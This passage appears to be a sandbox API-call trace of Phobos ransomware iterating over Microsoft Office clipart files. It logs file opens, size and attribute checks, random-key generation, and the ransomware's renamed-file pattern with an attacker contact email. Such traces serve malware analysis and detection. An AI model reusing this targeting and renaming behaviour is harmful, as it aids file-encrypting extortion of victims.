Office\\root\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.519] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.520] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=37146) returned 1 [0152.520] CloseHandle (hObject=0x580) returned 1 [0152.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg")) returned 0x220 [0152.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.521] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.522] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42842) returned 1 [0152.522] CloseHandle (hObject=0x580) returned 1 [0152.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg")) returned 0x220 [0152.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.522] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.523] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33195) returned 1 [0152.523] CloseHandle (hObject=0x580) returned 1 [0152.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg")) returned 0x220 [0152.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.523] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.524] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=47569) returned 1 [0152.524] CloseHandle (hObject=0x580) returned 1 [0152.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg")) returned 0x220 [0152.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.525] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.525] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16626) returned 1 [0152.525] CloseHandle (hObject=0x580) returned 1 [0152.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg")) returned 0x220 [0152.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.525] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.526] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19202) returned 1 [0152.526] CloseHandle (hObject=0x580) returned 1 [0152.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg")) returned 0x220 [0152.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.527] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.527] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16954) returned 1 [0152.528] CloseHandle (hObject=0x580) returned 1 [0152.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg")) returned 0x220 [0152.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.528] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.528] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16768) returned 1 [0152.528] CloseHandle (hObject=0x580) returned 1 [0152.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318448.wmf")) returned 0x220 [0152.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318448.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318448.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.529] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.530] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11770) returned 1 [0152.530] CloseHandle (hObject=0x580) returned 1 [0152.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf")) returned 0x220 [0152.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.530] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.531] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10430) returned 1 [0152.531] CloseHandle (hObject=0x580) returned 1 [0152.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf")) returned 0x220 [0152.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.531] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.531] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9431) returned 1 [0152.531] CloseHandle (hObject=0x580) returned 1 [0152.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg")) returned 0x220 [0152.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.532] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.532] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12280) returned 1 [0152.532] CloseHandle (hObject=0x580) returned 1 [0152.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324694.wmf")) returned 0x220 [0152.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324694.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324694.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.532] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.533] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11902) returned 1 [0152.533] CloseHandle (hObject=0x580) returned 1 [0152.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf")) returned 0x220 [0152.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.533] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.534] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12896) returned 1 [0152.534] CloseHandle (hObject=0x580) returned 1 [0152.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg")) returned 0x220 [0152.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.534] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.535] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10196) returned 1 [0152.535] CloseHandle (hObject=0x580) returned 1 [0152.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg")) returned 0x220 [0152.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.535] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.536] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11485) returned 1 [0152.536] CloseHandle (hObject=0x580) returned 1 [0152.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg")) returned 0x220 [0152.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.536] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.537] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19565) returned 1 [0152.537] CloseHandle (hObject=0x580) returned 1 [0152.537] GetFileAttributesW 